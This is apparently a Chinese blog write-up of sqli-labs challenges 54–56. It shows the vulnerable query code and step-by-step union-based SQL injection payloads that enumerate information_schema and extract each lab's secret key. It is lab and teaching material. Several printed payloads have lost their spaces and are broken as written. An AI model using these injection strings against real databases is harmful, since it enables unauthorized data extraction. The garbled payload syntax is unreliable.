WEB常见漏洞之SQL注入(靶场篇—4)1

简介: WEB常见漏洞之SQL注入(靶场篇—4)

0x01 进阶挑战 54-65

Lesson-54

该题为单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题对查询次数进行了限制,我们需要在十次查询以内拿到 key,由于报错不输出 mysql 错误信息,因此不能使用报错注入。

使用联合查询判断注入点

id=1'--+

判断字段数

id=1' order by 3--+ //返回正确

id=1'orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1' union select 1,2,3--+

查询表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+

查询关键信息

id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+

成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-55

该题为单括号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1)--+

判断字段数

id=1)orderby3--+ //返回正确

id=1)orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1)unionselect1,2,3--+

查询表名

id=-1)unionselect1,2,group_concat(table_name)from information_schema.tableswhere table_schema=database()--+

查询列名

id=-1)unionselect1,2,group_concat(column_name)from information_schema.columnswheretable_name='3lr3dby63p'--+

查询关键信息

id=-1)unionselect1,2,group_concat(secret_WSTL)from3lr3dby63p--+

成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-56

该题为单括号单引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了单引号单括号,错误次数由10次变为14次

使用联合查询判断注入点

id=1')--+

判断字段数

id=1') order by 3--+ //返回正确

id=1')orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1') union select 1,2,3--+

查询表名

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+

查询关键信息

id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+

成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
138 1
|
20天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
42 2
|
2月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
179 8
|
3月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
159 3
|
2月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
3月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
5月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
126 13
|
5月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
|
5月前
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
66 6